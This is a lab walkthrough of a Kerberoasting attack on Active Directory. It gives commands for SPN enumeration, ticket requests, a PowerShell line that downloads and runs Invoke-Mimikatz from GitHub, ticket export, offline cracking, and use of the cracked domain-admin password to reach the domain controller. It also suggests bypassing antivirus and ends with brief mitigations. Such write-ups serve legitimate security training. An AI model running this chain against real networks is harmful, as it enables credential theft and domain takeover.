Abusing Kerberos Kerberoasting

Download as pdf or txt
Download as pdf or txt
You are on page 1of 12

2018

Abusing Kerberos:
Kerberoasting

Haboob Team
1 CONTENTS
1. Introduction………………………………………………………………………………………………………………. 2
2. How the attack work?......................................................................................................................... 2
3. What is kerberos? ............................................................................................................................... 3
4. What is SPN?................................................................................................................... 3
5. Kerberosting Demo. ............................................................................................................................ 4
7. Mitigation……………………………………………………………………………………………………………….. 10
8. References………………………………………………………………………………………………………………… 11

1|P age
1.INTRODUCTION
Kerberoasting is an effective method for extracting service account credentials
from Active Directory as a regular user without sending any packets to the target
system. What makes Kerberoasting great for the attackers is that the technique
isn’t breaking anything and technically it is not exploiting any part of the Kerberos
process. The technique is using Kerberos exactly the way it was designed to be
used. What made this tough for defenders was that the detections were difficult to
identify among normal Kerberos events.

2. HOW THE ATTACK WORK?


In order to apply Kerberoasting attack we need to have an initial access with
normal user at least (no elevated privileges needed). At this point we can query the
domain controller for the available SPNs in the domain. Once we find an SPN with
Service account user we can now request the ticket from the domain controller.
Then we can dump that ticket from memory to disk and perform offline brute force
attack to extract the service account password.

In this paper I will be demoing Kerberoasting attack. I have setup a lab with
Windows Server 2012 (Domain Controller), Windows Server 2012 (MSSQL Server).
Two Clients running Windows 10 and Kali Linux (Attacker) in the same subnet.

2|P age
3. WHAT IS KERBEROS?
Kerberos is windows authentication protocol defines how clients interact with a
network authentication service. Clients obtain tickets from the Kerberos Key
Distribution Centre (KDC)which is usually the domain controller, and they present
these tickets to servers when connections are established. Kerberos tickets
represent the client's network credentials.
For more details:
https://docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-
kerberos
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-
server-2003/cc772815(v=ws.10)

4. WHAT IS SPN?
A service principal name (SPN) is a unique identifier of a service instance. SPNs are
used by Kerberos authentication to associate a service instance with a service
logon account. This allows a client application to request that the service
authenticate an account even if the client does not have the account name.
For more details: https://docs.microsoft.com/en-
us/windows/desktop/AD/service-principal-names

3|P age
5. KERBEROSTING DEMO.
In this Demo I will assume that we have an initial access to the target machine.
As you can see in the picture we have a PowerShell session with non-privileged
domain user “Bob” on Windows 10 machine.

Picture 1- Domain user

4|P age
Here we are running “klist” command to check the current Kerberos tickets
available in this session.
As you can see there is no Kerberos tickets for this session.

Picture 2- klist

Now what we want to do is to look for SPNs available in my environment by running:


setspn -T TestDomain -Q */*

Picture 3 – Available SPNS

5|P age
From the previous command we’ve discovered a service account SPN:
MSSQLSERVER/SQL-Server.testdomain.com:1433

So let’s use PowerShell at this point in order to request a Kerberos service ticket with
this two commands:
Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -
ArgumentList "MSSQLSERVER/SQL-Server.testdomain.com:1433"

Picture 4 – Requesting ticket

Running "klist" command again we can verify that the MSSQL service ticket has been
loaded into memory!

Picture 5 - klist

6|P age
Now what we want to do is loading Mimikatz in order to dump the ticket from
memory. We will use "Invoke-Mimikatz" from PowerSploit Repository.
Invoke-Expression (New-Object
Net.Webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafi
a/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')

Picture 6 – Invoke-Mimikatz

Note: loading Mimikatz with this method may get detected by an anti-virus. There
is many ways to bypass detection you can search it online but I would
recommend you reading this article AMSI Bypass With a Null Character.

7|P age
Remember all of the work we’ve did is with domain user account and does not
require any elevated privileges!
Now we’ve loaded Mimikatz and we did list Kerberos tickets available in memory
so let’s dump this ticket from RAM to disk using:
Invoke-Mimikatz –Command '" kerberos::list"' /export

Picture 7 – dumping ticket

Now let’s download it in our local machine to crack it.

Picture 8 – Download the ticket

8|P age
No we have the remote service ticket in our machine let’s try to crack it. We will use
“tgsrepcrack.py” script from Kerberoast Repository for cracking the remote service
account ticket.
python tgsrepcrack.py wordlist.txt 1-40a10000-Bob@MSSQLSERVER~SQL-
Server.testdomain.com~1433-TESTDOMAIN.COM.kirbi

Picture 9 - Cracking

As we can see the we’ve cracked the password of the service account "SQLSVC" which
is "Password1"

Now we’ve cracked the SQLSCV account password let’s see what privileges the service
account has by running:
net user SQLSVC /domain

Picture 10 – Domain admin

9|P age
We’ve escalated our privilege from domain user to domain admin user!, let’s verify that
and try to connect to the DC with the credentials we’ve got and list the c: drive of the DC
net group "Domain Controllers" /domain

net use \\WIN-4QHPFSI8002\c$ /user:SQLSVC Password1

dir \\WIN-4QHPFSI8002\c$

Picture 11 – list c drive

7. MITIGATION
Because this attack is using Kerberos exactly the way it was designed to be. The best
mitigation for Kerberoasting attacks is to use complex passwords for the service
accounts that uses Kerberos with SPN values. In addition to configure the MSSQL or
any service in the domain without using domain admins privileges, which is hard for
lazy admins .

10 | P a g e
8. REFERENCES

https://adsecurity.org/?p=3458

https://www.trustedsec.com/2018/05/art_of_kerberoast/

https://leonjza.github.io/blog/2016/01/09/kerberos-kerberoast-and-golden-tickets/

11 | P a g e

You might also like